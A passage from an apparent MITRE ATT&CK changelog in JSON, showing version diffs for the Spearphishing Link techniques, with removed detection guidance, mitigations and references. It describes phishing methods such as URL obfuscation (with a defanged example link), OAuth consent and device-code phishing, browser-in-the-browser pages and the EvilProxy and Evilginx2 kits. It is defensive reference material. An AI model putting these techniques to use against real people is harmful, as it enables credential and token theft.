include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \\\"IDN homograph attack\\\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n \\n-Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n-\\n-Adversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through \\u201cconsent phishing\\u201d into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n+Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n \\n Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \\u201cdevice code phishing,\\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.8\", \"old_value\": \"2.7\"}}}", + "previous_version": "2.7", + "version_change": "2.7 \u2192 2.8", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may send spearphishing emails with a malicious lt1Adversaries may send spearphishing emails with a malicious l
>ink in an attempt to gain access to victim systems. Spearphi>ink in an attempt to gain access to victim systems. Spearphi
>shing with a link is a specific variant of spearphishing. It>shing with a link is a specific variant of spearphishing. It
> is different from other forms of spearphishing in that it e> is different from other forms of spearphishing in that it e
>mploys the use of links to download malware contained in ema>mploys the use of links to download malware contained in ema
>il, instead of attaching malicious files to the email itself>il, instead of attaching malicious files to the email itself
>, to avoid defenses that may inspect email attachments. Spea>, to avoid defenses that may inspect email attachments. Spea
>rphishing may also involve social engineering techniques, su>rphishing may also involve social engineering techniques, su
>ch as posing as a trusted source.  All forms of spearphishin>ch as posing as a trusted source.  All forms of spearphishin
>g are electronically delivered social engineering targeted a>g are electronically delivered social engineering targeted a
>t a specific individual, company, or industry. In this case,>t a specific individual, company, or industry. In this case,
> the malicious emails contain links. Generally, the links wi> the malicious emails contain links. Generally, the links wi
>ll be accompanied by social engineering text and require the>ll be accompanied by social engineering text and require the
> user to actively click or copy and paste a URL into a brows> user to actively click or copy and paste a URL into a brows
>er, leveraging [User Execution](https://attack.mitre.org/tec>er, leveraging [User Execution](https://attack.mitre.org/tec
>hniques/T1204). The visited website may compromise the web b>hniques/T1204). The visited website may compromise the web b
>rowser using an exploit, or the user will be prompted to dow>rowser using an exploit, or the user will be prompted to dow
>nload applications, documents, zip files, or even executable>nload applications, documents, zip files, or even executable
>s depending on the pretext for the email in the first place.>s depending on the pretext for the email in the first place.
>  Adversaries may also include links that are intended to in>  Adversaries may also include links that are intended to in
>teract directly with an email reader, including embedded ima>teract directly with an email reader, including embedded ima
>ges intended to exploit the end system directly. Additionall>ges intended to exploit the end system directly. Additionall
>y, adversaries may use seemingly benign links that abuse spe>y, adversaries may use seemingly benign links that abuse spe
>cial characters to mimic legitimate websites (known as an \"I>cial characters to mimic legitimate websites (known as an \"I
>DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may>DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may
> also be obfuscated by taking advantage of quirks in the URL> also be obfuscated by taking advantage of quirks in the URL
> schema, such as the acceptance of integer- or hexadecimal-b> schema, such as the acceptance of integer- or hexadecimal-b
>ased hostname formats and the automatic discarding of text b>ased hostname formats and the automatic discarding of text b
>efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586>efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586
>937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries >937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries 
>may also utilize links to perform consent phishing, typicall>may also utilize links to perform consent phishing/spearphis
>y with OAuth 2.0 request URLs that when accepted by the user>hing campaigns to [Steal Application Access Token](https://a
> provide permissions/access for malicious applications, allo>ttack.mitre.org/techniques/T1528)s that grant immediate acce
>wing adversaries to  [Steal Application Access Token](https:>ss to the victim environment. For example, a user may be lur
>//attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro>ed into granting adversaries permissions/access via a malici
> Pawn Storm OAuth 2017) These stolen access tokens allow the>ous OAuth 2.0 request URL that when accepted by the user pro
> adversary to perform various actions on behalf of the user >vide permissions/access for malicious applications.(Citation
>via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishi>: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu
>ng 2021)  Adversaries may also utilize spearphishing links t>th 2.0 Consent Phishing 2021) These stolen access tokens all
>o [Steal Application Access Token](https://attack.mitre.org/>ow the adversary to perform various actions on behalf of the
>techniques/T1528)s that grant immediate access to the victim> user via API calls.(Citation: Microsoft OAuth 2.0 Consent P
> environment. For example, a user may be lured through \u201ccons>hishing 2021)  Similarly, malicious links may also target de
>ent phishing\u201d into granting adversaries permissions/access v>vice-based authorization, such as OAuth 2.0 device authoriza
>ia a malicious OAuth 2.0 request URL .(Citation: Trend Micro>tion grant flow which is typically used to authenticate devi
> Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consen>ces without UIs/browsers. Known as \u201cdevice code phishing,\u201d a
>t Phishing 2021)  Similarly, malicious links may also target>n adversary may send a link that directs the victim to a mal
> device-based authorization, such as OAuth 2.0 device author>icious authorization page where the user is tricked into ent
>ization grant flow which is typically used to authenticate d>ering a code/credentials that produces a device token.(Citat
>evices without UIs/browsers. Known as \u201cdevice code phishing,>ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko
>\u201d an adversary may send a link that directs the victim to a >pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph
>malicious authorization page where the user is tricked into >ishing 2021)
>entering a code/credentials that produces a device token.(Ci 
>tation: SecureWorks Device Code Phishing 2021)(Citation: Net 
>skope Device Code Phishing 2021)(Citation: Optiv Device Code 
> Phishing 2021) 
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0107: Detection Strategy for Spearphishing Links" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:09:50.723000+00:00", + "modified": "2025-10-24 17:48:34.880000+00:00", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed \u201ctracking pixels,\u201d \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \u201cquishing\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\u2019s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598/003", + "external_id": "T1598.003" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "TrendMictro Phishing", + "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", + "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html" + }, + { + "source_name": "IAPP", + "description": "IAPP. (n.d.). Retrieved March 5, 2024.", + "url": "https://iapp.org/resources/article/web-beacon/" + }, + { + "source_name": "QR-campaign-energy-firm", + "description": "Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.", + "url": "https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm" + }, + { + "source_name": "PCMag FakeLogin", + "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", + "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Mr. D0x BitB 2022", + "description": "mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.", + "url": "https://mrd0x.com/browser-in-the-browser-phishing-attack/" + }, + { + "source_name": "Mandiant URL Obfuscation 2023", + "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + }, + { + "source_name": "NIST Web Bug", + "description": "NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.", + "url": "https://csrc.nist.gov/glossary/term/web_bug" + }, + { + "source_name": "Proofpoint Human Factor", + "description": "Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.", + "url": "https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf" + }, + { + "source_name": "Ryte Wiki", + "description": "Ryte Wiki. (n.d.). Retrieved November 17, 2024.", + "url": "https://en.ryte.com/wiki/Tracking_Pixel/" + }, + { + "source_name": "qr-phish-agriculture", + "description": "Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.", + "url": "https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing" + }, + { + "source_name": "ZScaler BitB 2020", + "description": "ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.", + "url": "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Menachem Goldstein", + "Robert Simmons, @MalwareUtkonos", + "Elpidoforos Maragkos, @emaragkos", + "Joas Antonio dos Santos, @C0d3Cr4zy", + "Austin Herrin", + "Obsidian Security", + "Sam Seabrook, Duke Energy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.880000+00:00\", \"old_value\": \"2025-04-15 23:10:59.931000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\\n\\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n\\nAdversaries may also embed \\u201ctracking pixels,\\u201d \\\"web bugs,\\\" or \\\"web beacons\\\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)\\n\\nAdversaries may also be able to spoof a complete website using what is known as a \\\"browser-in-the-browser\\\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\\n\\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\\n\\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \\u201cquishing\\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user\\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\\u2019s smaller form factor.\\n\\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.\", \"old_value\": \"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\\n\\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n\\nAdversaries may also embed \\u201ctracking pixels\\u201d, \\\"web bugs\\\", or \\\"web beacons\\\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\\n\\nAdversaries may also be able to spoof a complete website using what is known as a \\\"browser-in-the-browser\\\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\\n\\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\\n\\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \\u201cquishing\\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user\\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\\u2019s smaller form factor.\\n\\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n \\n-Adversaries may also embed \\u201ctracking pixels\\u201d, \\\"web bugs\\\", or \\\"web beacons\\\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\\n+Adversaries may also embed \\u201ctracking pixels,\\u201d \\\"web bugs,\\\" or \\\"web beacons\\\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)\\n \\n Adversaries may also be able to spoof a complete website using what is known as a \\\"browser-in-the-browser\\\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\\n \"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may send spearphishing messages with a malicioust1Adversaries may send spearphishing messages with a malicious
> link to elicit sensitive information that can be used durin> link to elicit sensitive information that can be used durin
>g targeting. Spearphishing for information is an attempt to >g targeting. Spearphishing for information is an attempt to 
>trick targets into divulging information, frequently credent>trick targets into divulging information, frequently credent
>ials or other actionable information. Spearphishing for info>ials or other actionable information. Spearphishing for info
>rmation frequently involves social engineering techniques, s>rmation frequently involves social engineering techniques, s
>uch as posing as a source with a reason to collect informati>uch as posing as a source with a reason to collect informati
>on (ex: [Establish Accounts](https://attack.mitre.org/techni>on (ex: [Establish Accounts](https://attack.mitre.org/techni
>ques/T1585) or [Compromise Accounts](https://attack.mitre.or>ques/T1585) or [Compromise Accounts](https://attack.mitre.or
>g/techniques/T1586)) and/or sending multiple, seemingly urge>g/techniques/T1586)) and/or sending multiple, seemingly urge
>nt messages.  All forms of spearphishing are electronically >nt messages.  All forms of spearphishing are electronically 
>delivered social engineering targeted at a specific individu>delivered social engineering targeted at a specific individu
>al, company, or industry. In this scenario, the malicious em>al, company, or industry. In this scenario, the malicious em
>ails contain links generally accompanied by social engineeri>ails contain links generally accompanied by social engineeri
>ng text to coax the user to actively click or copy and paste>ng text to coax the user to actively click or copy and paste
> a URL into a browser.(Citation: TrendMictro Phishing)(Citat> a URL into a browser.(Citation: TrendMictro Phishing)(Citat
>ion: PCMag FakeLogin) The given website may be a clone of a >ion: PCMag FakeLogin) The given website may be a clone of a 
>legitimate site (such as an online or corporate login portal>legitimate site (such as an online or corporate login portal
>) or may closely resemble a legitimate site in appearance an>) or may closely resemble a legitimate site in appearance an
>d have a URL containing elements from the real site. URLs ma>d have a URL containing elements from the real site. URLs ma
>y also be obfuscated by taking advantage of quirks in the UR>y also be obfuscated by taking advantage of quirks in the UR
>L schema, such as the acceptance of integer- or hexadecimal->L schema, such as the acceptance of integer- or hexadecimal-
>based hostname formats and the automatic discarding of text >based hostname formats and the automatic discarding of text 
>before an \u201c@\u201d symbol: for example, `hxxp://google.com@115758>before an \u201c@\u201d symbol: for example, `hxxp://google.com@115758
>6937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries>6937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries
> may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beaco> may also embed \u201ctracking pixels,\u201d \"web bugs,\" or \"web beaco
>ns\" within phishing messages to verify the receipt of an ema>ns\" within phishing messages to verify the receipt of an ema
>il, while also potentially profiling and tracking victim inf>il, while also potentially profiling and tracking victim inf
>ormation such as IP address.(Citation: NIST Web Bug) (Citati>ormation such as IP address.(Citation: NIST Web Bug)(Citatio
>on: Ryte Wiki) These mechanisms often appear as small images>n: Ryte Wiki) These mechanisms often appear as small images 
> (typically one pixel in size) or otherwise obfuscated objec>(typically one pixel in size) or otherwise obfuscated object
>ts and are typically delivered as HTML code containing a lin>s and are typically delivered as HTML code containing a link
>k to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) > to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)  A
> Adversaries may also be able to spoof a complete website us>dversaries may also be able to spoof a complete website usin
>ing what is known as a \"browser-in-the-browser\" (BitB) attac>g what is known as a \"browser-in-the-browser\" (BitB) attack.
>k. By generating a fake browser popup window with an HTML-ba> By generating a fake browser popup window with an HTML-base
>sed address bar that appears to contain a legitimate URL (su>d address bar that appears to contain a legitimate URL (such
>ch as an authentication portal), they may be able to prompt > as an authentication portal), they may be able to prompt us
>users to enter their credentials while bypassing typical URL>ers to enter their credentials while bypassing typical URL v
> verification methods.(Citation: ZScaler BitB 2020)(Citation>erification methods.(Citation: ZScaler BitB 2020)(Citation: 
